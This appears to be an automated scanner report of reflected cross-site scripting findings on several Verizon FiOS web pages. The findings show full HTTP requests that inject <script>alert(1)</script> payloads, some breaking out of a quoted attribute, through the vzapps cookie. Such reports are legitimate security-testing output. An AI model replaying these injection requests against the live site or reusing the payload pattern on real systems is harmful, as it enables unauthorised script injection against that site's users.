GET /Residential/FiOSInternet/FiOSvsCable/FiOSvsCable.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX586d6'><script>alert(1)</script>5be2a55a080; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload ba4bc<script>alert(1)</script>48da8e83bed was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/FiOSvsCable/FiOSvsCable.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXba4bc<script>alert(1)</script>48da8e83bed; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9e24d'><script>alert(1)</script>e7ebdde17b7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX9e24d'><script>alert(1)</script>e7ebdde17b7; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload ef4f6<script>alert(1)</script>b1777447616 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXef4f6<script>alert(1)</script>b1777447616; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 3b903<script>alert(1)</script>3163bfff706 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX3b903<script>alert(1)</script>3163bfff706; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 858d1'><script>alert(1)</script>28c31165694 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX858d1'><script>alert(1)</script>28c31165694; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload b0c47<script>alert(1)</script>29a5c8708a5 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb0c47<script>alert(1)</script>29a5c8708a5; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fd513'><script>alert(1)</script>51bba6f10cc was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXfd513'><script>alert(1)</script>51bba6f10cc; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 918a4'><script>alert(1)</script>038378a935c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX918a4'><script>alert(1)</script>038378a935c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload ba647<script>alert(1)</script>c9d82309067 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXba647<script>alert(1)</script>c9d82309067; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload f50b9<script>alert(1)</script>c084ce429c9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Channels/Channels.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXf50b9<script>alert(1)</script>c084ce429c9; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6f406'><script>alert(1)</script>4c7a74e2019 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Channels/Channels.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX6f406'><script>alert(1)</script>4c7a74e2019; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 44fe0<script>alert(1)</script>68099989e89 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX44fe0<script>alert(1)</script>68099989e89; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 590bb'><script>alert(1)</script>7ce8b385b74 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX590bb'><script>alert(1)</script>7ce8b385b74; PageTitle=Livechat; 